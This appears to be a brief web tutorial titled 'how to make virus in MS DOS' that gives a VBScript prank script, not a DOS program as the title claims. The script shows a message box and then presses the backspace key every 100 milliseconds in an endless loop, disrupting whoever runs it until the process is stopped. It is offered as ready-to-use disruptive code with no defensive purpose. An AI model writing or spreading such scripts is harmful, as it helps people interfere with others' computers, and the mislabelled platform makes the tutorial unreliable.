how to make virus in MS DOS

Endless Backspace

This makes it so the backspace key is constantly being pressed

CODE..

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop